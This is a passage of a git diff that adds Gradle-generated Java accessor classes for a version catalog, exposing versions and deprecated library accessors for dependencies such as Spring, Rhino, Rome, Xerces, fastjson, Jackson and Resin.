+ * This version was declared in catalog libs.versions.toml + */ + public Provider getAop() { return getVersion("org.springframework.spring.aop"); } + + /** + * Version alias org.springframework.spring.beans with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getBeans() { return getVersion("org.springframework.spring.beans"); } + + /** + * Version alias org.springframework.spring.core with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.springframework.spring.core"); } + + /** + * Version alias org.springframework.spring.jdbc with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJdbc() { return getVersion("org.springframework.spring.jdbc"); } + + /** + * Version alias org.springframework.spring.oxm with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getOxm() { return getVersion("org.springframework.spring.oxm"); } + + /** + * Version alias org.springframework.spring.test with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getTest() { return getVersion("org.springframework.spring.test"); } + + /** + * Version alias org.springframework.spring.tx with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getTx() { return getVersion("org.springframework.spring.tx"); } + + /** + * Version alias org.springframework.spring.web with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getWeb() { return getVersion("org.springframework.spring.web"); } + + /** + * Version alias org.springframework.spring.webmvc with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getWebmvc() { return getVersion("org.springframework.spring.webmvc"); } + + /** + * Group of versions at versions.org.springframework.spring.context + */ + public OrgSpringframeworkSpringContextVersionAccessors getContext() { + return vaccForOrgSpringframeworkSpringContextVersionAccessors; + } + + } + + public static class OrgSpringframeworkSpringContextVersionAccessors extends VersionFactory { + + public OrgSpringframeworkSpringContextVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.springframework.spring.context.support with value 5.2.3.RELEASE + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getSupport() { return getVersion("org.springframework.spring.context.support"); } + + } + + public static class RhinoVersionAccessors extends VersionFactory { + + public RhinoVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias rhino.js with value 1.7R2 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJs() { return getVersion("rhino.js"); } + + } + + public static class RomeVersionAccessors extends VersionFactory { + + public RomeVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias rome.rome with value 1.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getRome() { return getVersion("rome.rome"); } + + } + + public static class XercesVersionAccessors extends VersionFactory { + + public XercesVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias xerces.xercesimpl with value 2.12.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getXercesimpl() { return getVersion("xerces.xercesimpl"); } + + } + + public static class BundleAccessors extends BundleFactory { + + public BundleAccessors(ObjectFactory objects, ProviderFactory providers, DefaultVersionCatalog config, ImmutableAttributesFactory attributesFactory, CapabilityNotationParser capabilityNotationParser) { super(objects, providers, config, attributesFactory, capabilityNotationParser); } + + } + + public static class PluginAccessors extends PluginFactory { + + public PluginAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + } + +} diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/sources/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock.java b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/sources/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock.java new file mode 100644 index 0000000..442ace7 --- /dev/null +++ b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/sources/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock.java @@ -0,0 +1,6609 @@ +package org.gradle.accessors.dm; + +import org.gradle.api.NonNullApi; +import org.gradle.api.artifacts.MinimalExternalModuleDependency; +import org.gradle.plugin.use.PluginDependency; +import org.gradle.api.artifacts.ExternalModuleDependencyBundle; +import org.gradle.api.artifacts.MutableVersionConstraint; +import org.gradle.api.provider.Provider; +import org.gradle.api.model.ObjectFactory; +import org.gradle.api.provider.ProviderFactory; +import org.gradle.api.internal.catalog.AbstractExternalDependencyFactory; +import org.gradle.api.internal.catalog.DefaultVersionCatalog; +import java.util.Map; +import org.gradle.api.internal.attributes.ImmutableAttributesFactory; +import org.gradle.api.internal.artifacts.dsl.CapabilityNotationParser; +import javax.inject.Inject; + +/** + * A catalog of dependencies accessible via the {@code libs} extension. + */ +@NonNullApi +public class LibrariesForLibsInPluginsBlock extends AbstractExternalDependencyFactory { + + private final AbstractExternalDependencyFactory owner = this; + private final CnLibraryAccessors laccForCnLibraryAccessors = new CnLibraryAccessors(owner); + private final ComLibraryAccessors laccForComLibraryAccessors = new ComLibraryAccessors(owner); + private final CommonsLibraryAccessors laccForCommonsLibraryAccessors = new CommonsLibraryAccessors(owner); + private final IoLibraryAccessors laccForIoLibraryAccessors = new IoLibraryAccessors(owner); + private final JavaxLibraryAccessors laccForJavaxLibraryAccessors = new JavaxLibraryAccessors(owner); + private final JbossLibraryAccessors laccForJbossLibraryAccessors = new JbossLibraryAccessors(owner); + private final JunitLibraryAccessors laccForJunitLibraryAccessors = new JunitLibraryAccessors(owner); + private final NetLibraryAccessors laccForNetLibraryAccessors = new NetLibraryAccessors(owner); + private final OrgLibraryAccessors laccForOrgLibraryAccessors = new OrgLibraryAccessors(owner); + private final RhinoLibraryAccessors laccForRhinoLibraryAccessors = new RhinoLibraryAccessors(owner); + private final RomeLibraryAccessors laccForRomeLibraryAccessors = new RomeLibraryAccessors(owner); + private final XercesLibraryAccessors laccForXercesLibraryAccessors = new XercesLibraryAccessors(owner); + private final VersionAccessors vaccForVersionAccessors = new VersionAccessors(providers, config); + private final BundleAccessors baccForBundleAccessors = new BundleAccessors(objects, providers, config, attributesFactory, capabilityNotationParser); + private final PluginAccessors paccForPluginAccessors = new PluginAccessors(providers, config); + + @Inject + public LibrariesForLibsInPluginsBlock(DefaultVersionCatalog config, ProviderFactory providers, ObjectFactory objects, ImmutableAttributesFactory attributesFactory, CapabilityNotationParser capabilityNotationParser) { + super(config, providers, objects, attributesFactory, capabilityNotationParser); + } + + /** + * Group of libraries at cn + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public CnLibraryAccessors getCn() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForCnLibraryAccessors; + } + + /** + * Group of libraries at com + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComLibraryAccessors getCom() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComLibraryAccessors; + } + + /** + * Group of libraries at commons + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public CommonsLibraryAccessors getCommons() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForCommonsLibraryAccessors; + } + + /** + * Group of libraries at io + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public IoLibraryAccessors getIo() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForIoLibraryAccessors; + } + + /** + * Group of libraries at javax + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JavaxLibraryAccessors getJavax() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJavaxLibraryAccessors; + } + + /** + * Group of libraries at jboss + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JbossLibraryAccessors getJboss() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJbossLibraryAccessors; + } + + /** + * Group of libraries at junit + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JunitLibraryAccessors getJunit() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJunitLibraryAccessors; + } + + /** + * Group of libraries at net + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public NetLibraryAccessors getNet() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForNetLibraryAccessors; + } + + /** + * Group of libraries at org + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgLibraryAccessors getOrg() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgLibraryAccessors; + } + + /** + * Group of libraries at rhino + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public RhinoLibraryAccessors getRhino() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForRhinoLibraryAccessors; + } + + /** + * Group of libraries at rome + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public RomeLibraryAccessors getRome() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForRomeLibraryAccessors; + } + + /** + * Group of libraries at xerces + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public XercesLibraryAccessors getXerces() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForXercesLibraryAccessors; + } + + /** + * Group of versions at versions + */ + public VersionAccessors getVersions() { + return vaccForVersionAccessors; + } + + /** + * Group of bundles at bundles + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public BundleAccessors getBundles() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return baccForBundleAccessors; + } + + /** + * Group of plugins at plugins + */ + public PluginAccessors getPlugins() { + return paccForPluginAccessors; + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class CnLibraryAccessors extends SubDependencyFactory { + private final CnHutoolLibraryAccessors laccForCnHutoolLibraryAccessors = new CnHutoolLibraryAccessors(owner); + + public CnLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at cn.hutool + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public CnHutoolLibraryAccessors getHutool() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForCnHutoolLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class CnHutoolLibraryAccessors extends SubDependencyFactory { + private final CnHutoolHutoolLibraryAccessors laccForCnHutoolHutoolLibraryAccessors = new CnHutoolHutoolLibraryAccessors(owner); + + public CnHutoolLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at cn.hutool.hutool + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public CnHutoolHutoolLibraryAccessors getHutool() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForCnHutoolHutoolLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class CnHutoolHutoolLibraryAccessors extends SubDependencyFactory { + + public CnHutoolHutoolLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for all with cn.hutool:hutool-all coordinates and + * with version reference cn.hutool.hutool.all + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getAll() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("cn.hutool.hutool.all"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComLibraryAccessors extends SubDependencyFactory { + private final ComAlibabaLibraryAccessors laccForComAlibabaLibraryAccessors = new ComAlibabaLibraryAccessors(owner); + private final ComBeustLibraryAccessors laccForComBeustLibraryAccessors = new ComBeustLibraryAccessors(owner); + private final ComCauchoLibraryAccessors laccForComCauchoLibraryAccessors = new ComCauchoLibraryAccessors(owner); + private final ComFasterxmlLibraryAccessors laccForComFasterxmlLibraryAccessors = new ComFasterxmlLibraryAccessors(owner); + private final ComIbmLibraryAccessors laccForComIbmLibraryAccessors = new ComIbmLibraryAccessors(owner); + private final ComMchangeLibraryAccessors laccForComMchangeLibraryAccessors = new ComMchangeLibraryAccessors(owner); + private final ComNqzeroLibraryAccessors laccForComNqzeroLibraryAccessors = new ComNqzeroLibraryAccessors(owner); + private final ComOracleLibraryAccessors laccForComOracleLibraryAccessors = new ComOracleLibraryAccessors(owner); + private final ComTeradataLibraryAccessors laccForComTeradataLibraryAccessors = new ComTeradataLibraryAccessors(owner); + private final ComUnboundidLibraryAccessors laccForComUnboundidLibraryAccessors = new ComUnboundidLibraryAccessors(owner); + private final ComVaadinLibraryAccessors laccForComVaadinLibraryAccessors = new ComVaadinLibraryAccessors(owner); + + public ComLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.alibaba + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComAlibabaLibraryAccessors getAlibaba() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComAlibabaLibraryAccessors; + } + + /** + * Group of libraries at com.beust + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComBeustLibraryAccessors getBeust() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComBeustLibraryAccessors; + } + + /** + * Group of libraries at com.caucho + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComCauchoLibraryAccessors getCaucho() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComCauchoLibraryAccessors; + } + + /** + * Group of libraries at com.fasterxml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComFasterxmlLibraryAccessors getFasterxml() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComFasterxmlLibraryAccessors; + } + + /** + * Group of libraries at com.ibm + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComIbmLibraryAccessors getIbm() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComIbmLibraryAccessors; + } + + /** + * Group of libraries at com.mchange + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComMchangeLibraryAccessors getMchange() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComMchangeLibraryAccessors; + } + + /** + * Group of libraries at com.nqzero + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComNqzeroLibraryAccessors getNqzero() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComNqzeroLibraryAccessors; + } + + /** + * Group of libraries at com.oracle + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComOracleLibraryAccessors getOracle() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComOracleLibraryAccessors; + } + + /** + * Group of libraries at com.teradata + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComTeradataLibraryAccessors getTeradata() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComTeradataLibraryAccessors; + } + + /** + * Group of libraries at com.unboundid + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComUnboundidLibraryAccessors getUnboundid() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComUnboundidLibraryAccessors; + } + + /** + * Group of libraries at com.vaadin + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComVaadinLibraryAccessors getVaadin() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComVaadinLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComAlibabaLibraryAccessors extends SubDependencyFactory { + private final ComAlibabaFastjson2LibraryAccessors laccForComAlibabaFastjson2LibraryAccessors = new ComAlibabaFastjson2LibraryAccessors(owner); + + public ComAlibabaLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for fastjson with com.alibaba:fastjson coordinates and + * with version reference com.alibaba.fastjson + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getFastjson() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.alibaba.fastjson"); + } + + /** + * Group of libraries at com.alibaba.fastjson2 + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComAlibabaFastjson2LibraryAccessors getFastjson2() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComAlibabaFastjson2LibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComAlibabaFastjson2LibraryAccessors extends SubDependencyFactory { + + public ComAlibabaFastjson2LibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for fastjson2 with com.alibaba.fastjson2:fastjson2 coordinates and + * with version reference com.alibaba.fastjson2.fastjson2 + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getFastjson2() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.alibaba.fastjson2.fastjson2"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComBeustLibraryAccessors extends SubDependencyFactory { + + public ComBeustLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for jcommander with com.beust:jcommander coordinates and + * with version reference com.beust.jcommander + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getJcommander() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.beust.jcommander"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComCauchoLibraryAccessors extends SubDependencyFactory { + + public ComCauchoLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for resin with com.caucho:resin coordinates and + * with version reference com.caucho.resin + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getResin() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.caucho.resin"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComFasterxmlLibraryAccessors extends SubDependencyFactory { + private final ComFasterxmlJacksonLibraryAccessors laccForComFasterxmlJacksonLibraryAccessors = new ComFasterxmlJacksonLibraryAccessors(owner); + + public ComFasterxmlLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.fasterxml.jackson + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComFasterxmlJacksonLibraryAccessors getJackson() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComFasterxmlJacksonLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComFasterxmlJacksonLibraryAccessors extends SubDependencyFactory { + private final ComFasterxmlJacksonCoreLibraryAccessors laccForComFasterxmlJacksonCoreLibraryAccessors = new ComFasterxmlJacksonCoreLibraryAccessors(owner); + + public ComFasterxmlJacksonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.fasterxml.jackson.core + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComFasterxmlJacksonCoreLibraryAccessors getCore() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComFasterxmlJacksonCoreLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComFasterxmlJacksonCoreLibraryAccessors extends SubDependencyFactory { + private final ComFasterxmlJacksonCoreJacksonLibraryAccessors laccForComFasterxmlJacksonCoreJacksonLibraryAccessors = new ComFasterxmlJacksonCoreJacksonLibraryAccessors(owner); + + public ComFasterxmlJacksonCoreLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.fasterxml.jackson.core.jackson + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComFasterxmlJacksonCoreJacksonLibraryAccessors getJackson() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComFasterxmlJacksonCoreJacksonLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComFasterxmlJacksonCoreJacksonLibraryAccessors extends SubDependencyFactory { + + public ComFasterxmlJacksonCoreJacksonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for databind with com.fasterxml.jackson.core:jackson-databind coordinates and + * with version reference com.fasterxml.jackson.core.jackson.databind + *

